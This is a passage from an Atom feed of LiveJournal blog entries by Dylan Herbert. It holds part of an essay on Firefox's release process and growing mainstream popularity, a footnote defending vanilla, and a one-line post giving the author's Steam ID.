&quot;release&quot; to Mozilla, Mozilla &quot;releases&quot; early versions so plugin developers can update and so people can test.  Now, I realize that Mozilla then visibly conducts the real-world process of &quot;public release&quot; that puts firefox in the hands of everyone, but in logical terms, the testing public is really the bottleneck.  Mozilla won't release until the tester quirks have been smoothed.  So I would argue that the testers are who &quot;release&quot; Firefox to the general users.  And that it is the general users, constantly mentioning Firefox as if it should be a natural part of everyday life (otherwise known as &quot;buzz&quot;), who &quot;release&quot; Firefox -- put their stamp of approval on it -- to new users.&lt;br /&gt;&lt;br /&gt;Further, I would argue that the sentiment so eloquently stated by Linus: that a release is &quot;more of a laying-to-rest of an old one&quot;, will prove true for those of us who have been passionate about the success of Firefox.  Firefox is in its third version, rapidly evolving to a fourth.  It easily outclassed previous versions of Internet Explorer for years, and it is a viable and equal competitor now.  And, frankly, its become quite boring.  It doesn't crash, and I'm so used to the modular extensibility that it no longer strikes me as cool.  It's, quite frankly, old news.  I've moved on to being much more interested in much more arcane topics.  Practically everyone I know uses Firefox.&lt;br /&gt;&lt;br /&gt;And yet I keep seeing the mainstream media running pieces on it, or people talk to me in amazed voices about it.  Yes, I know.  Firefox rules.  But its now, when the testers have made Firefox entirely predictable and boring, that it is &quot;getting released&quot; to the wider public.  The precise moment when we are least entertained by it is when they have the MOST interest in it.&lt;br /&gt;&lt;br /&gt;Weird.&lt;br /&gt;&lt;br /&gt;(*1)  RE: Vanilla.  OK, seriously, vanilla has a terrible, undeserved reputation for being boring.  Vanilla is a FLAVOR, people.  Ice cream doesn't tastes like vanilla on its own.  Vanilla is not the flavor of cold milk.  You need to take a delicate and beautiful liquid, an extract of an orchid from the Andes, called VANILLA, and add it.  Vanilla is silky, Vanilla is smooth.  We should love Vanilla, and stop using it as a label for everything boring and default.</content>
		<author>
			<name>Dylan Herbert</name>
			<uri>http://nebajoth.livejournal.com/</uri>
		</author>
		<source>
			<title type="html">nebajoth</title>
			<subtitle type="html">nebajoth - LiveJournal.com</subtitle>
			<link rel="self" href="http://nebajoth.livejournal.com/data/rss?tag=wuug"/>
			<id>http://nebajoth.livejournal.com/data/rss?tag=wuug</id>
			<updated>2010-01-23T06:00:10+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">COWER BEFORE ME</title>
		<link href="http://nebajoth.livejournal.com/28268.html"/>
		<id>http://nebajoth.livejournal.com/28268.html</id>
		<updated>2008-09-23T17:07:00+00:00</updated>
		<content type="html">thou shalt know me as STEAM_0:0:2861641</content>
		<author>
			<name>Dylan Herbert</name>
			<uri>http://nebajoth.livejournal.com/</uri>
		</author>
		<source>
			<title type="html">nebajoth</title>
			<subtitle type="html">nebajoth - LiveJournal.com</subtitle>
			<link rel="self" href="http://nebajoth.livejournal.com/data/rss?tag=wuug"/>
			<id>http://nebajoth.livejournal.com/data/rss?tag=wuug</id>
			<updated>2010-01-23T06:00:10+00:00</updated>
		</source>
	</entry>

</feed>
